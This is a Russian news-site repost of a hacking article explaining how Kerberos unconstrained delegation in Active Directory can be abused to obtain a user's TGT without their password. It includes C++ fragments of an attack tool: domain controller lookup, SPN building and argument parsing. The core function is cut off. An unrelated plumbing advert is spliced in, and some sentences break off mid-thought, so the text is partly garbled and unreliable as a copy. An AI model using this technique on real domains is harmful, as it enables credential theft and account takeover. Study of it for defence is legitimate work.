Категория > Новости > Важная делегация. Эксплуатируем TGT Delegation в Active Directory - «Новости»
Важная делегация. Эксплуатируем TGT Delegation в Active Directory - «Новости»16-06-2023, 09:04. Автор: Murphy |
В этой статье мы рассмотрим не очень популярную, но крайне интересную атаку, реализовав которую атакующий сможет получить TGT-билет пользователя, даже не зная его пароля либо хеша. Хакеру достаточно лишь выполнить код от лица этого пользователя, а все остальное сделает за нас KDC. Active Directory предоставляет мощный набор функций для делегирования прав на олицетворение пользователей конкретной службе. Существует три вида делегирования: неограниченное, ограниченное и ограниченное на основе ресурсов. Про каждый уже рассказывалось много раз, но какие еще возможности таит в себе механизм делегирования? Читайте также - Установка сантехники — это задача, с которой могут справиться только настоящие профессионалы. Адекватные цены на услугии квалифицированных сантехников! Актуальный прайс на услуги монтажа сантехники для Москвы и Московской области, подключение сантехники в Москве по доступным ценам. Особенности неограниченного делегированияПри неограниченном делегировании администратор приходит к службе и говорит: «Теперь ты можешь олицетворять клиентов на других службах». Причем на абсолютно любых службах (отсюда и название — неограниченное). Как это работает? Во‑первых, клиент обращается к службе с неограниченным делегированием. KDC видит, что эта служба имеет специальный флаг Внутри этого тикета будет лежать также сессионный ключ, что позволит службе без проблем олицетворять клиента. Далее у клиента будет TGS-тикет на службу, а также этот FORWARDED TGT, поэтому пора идти к службе. Генерируется запрос AP-REQ, который содержит этот самый FORWARDED TGT. FORWARDED TGT в AP-REQ Причем тикет будет находиться внутри так называемого аутентификатора. Он позволяет предотвратить возможность релей‑атаки на этап AP-REQ, так как аутентификатор зашифрован сессионным ключом, а также содержит (в случае обычного AP-REQ) имя принципала клиента и таймстемп. Если же служба настроена с неограниченным делегированием, то в запрос AP-REQ, который отправится службе, попадет не только таймстемп и имя принципала, но и FORWARDED TGT. Причем этот самый FORWARDED TGT будет лежать внутри аутентификатора. Сессионный ключ для шифрования аутентификатора клиент получает в ответе TGS-REP, который идет до AP-REQ. Таким образом, у атакующего появляется возможность расшифровать аутентификатор из AP-REQ, а затем получить TGT-билет пользователя, который инициировал обращение к службе с неограниченным делегированием, ведь на руках у него будет зашифрованный блоб и ключ для его дешифровки. Особенности эксплуатацииЧтобы успешно получить TGT, нужно, чтобы выполнялись следующие требования:
Итоговый алгоритм достаточно простой:
Обнаружение нужной службыИтак, сначала создаем файл #pragma once #define SECURITY_WIN32 #include <windows.h> #include <sspi.h> #include <DsGetDC.h> #include <NTSecAPI.h> #include <iostream> #include <locale.h> #include <wincrypt.h> #include <WinBase.h> #define DEBUG #pragma comment (lib, "Secur32.lib") #pragma comment (lib, "NetApi32.lib") #pragma comment(lib,"Crypt32.lib") DWORD TgtDeleg(LPCWSTR); Теперь стоит предусмотреть два варианта работы инструмента: в первом случае служба с неограниченным делегированием будет обнаружена автоматически (достаточно только имени домена), а во втором атакующий собственноручно сможет указать нужный SPN. Получение сессионного ключа и AP-REQ через указание доменаРучное указание SPN Главная функция инструмента не очень большая. Сначала получаем список аргументов, причем проверяем: если их не три, то атакующий указал что‑то не то, поэтому вызываем функцию, которая расскажет, как использовать инструмент. Информация об использовании инструментаЕсли же пользователь нигде не напортачил, то переходим к парсингу аргументов. В первом случае, когда указывается только имя домена, вызывается функция LPCWSTR targetname = NULL; switch (*argv[1]) { case '1': targetname = GetDomainController(argv[2]); break; ... Эта функция позволяет получить DNS-имя контроллера домена. Мы берем контроллер домена потому, что на нем по умолчанию включено неограниченное делегирование. Получить имя можно с помощью функции LPCWSTR GetDomainController(wchar_t* domainName) { PDOMAIN_CONTROLLER_INFO dcInfo = NULL; DWORD err = DsGetDcName(NULL, (LPCWSTR)domainName, NULL, NULL, DS_RETURN_DNS_NAME | DS_IP_REQUIRED, &dcInfo); if (err != ERROR_SUCCESS) { std::wcout << L"[-] Cant Get DC Name, try use 2 mode: " << err << std::endl; exit(-1); } return dcInfo->DomainControllerName; } После получения имени убираем из него первые два символа слеша (так как функция вернула targetname = removeLeadingCharacters(targetname); #ifdef DEBUG std::wcout << L"[+] Target: " << targetname << std::endl; #endif LPCWSTR SPN = addCIFS(targetname); Функция
А функция LPCWSTR addCIFS(LPCWSTR originalString) { size_t originalSize = wcslen(originalString); size_t cifsSize = 5; size_t newSize = originalSize + cifsSize + 1; LPWSTR newString = new WCHAR[newSize]; wcscpy_s(newString, newSize, L"CIFS/"); wcscat_s(newString, newSize, originalString); return newString; } Есть и второй вариант — пользователь должен самостоятельно указать SPN. Здесь никакого парсинга тогда не потребуется. Сразу передаем полученный SPN в функцию case '2': if (TgtDeleg(argv[2]) == 0) { std::wcout << L"[+] TgtDeleg Success" << std::endl; return 0; } else { std::wcout << L"[-] TgtDeleg Error" << std::endl; return -1; } break; default: std::wcout << L"[-] No such mode" << std::endl; ShowUsage(); return 0; } Подключение к службеПереходим в сердце программы — в функцию Перейти обратно к новости |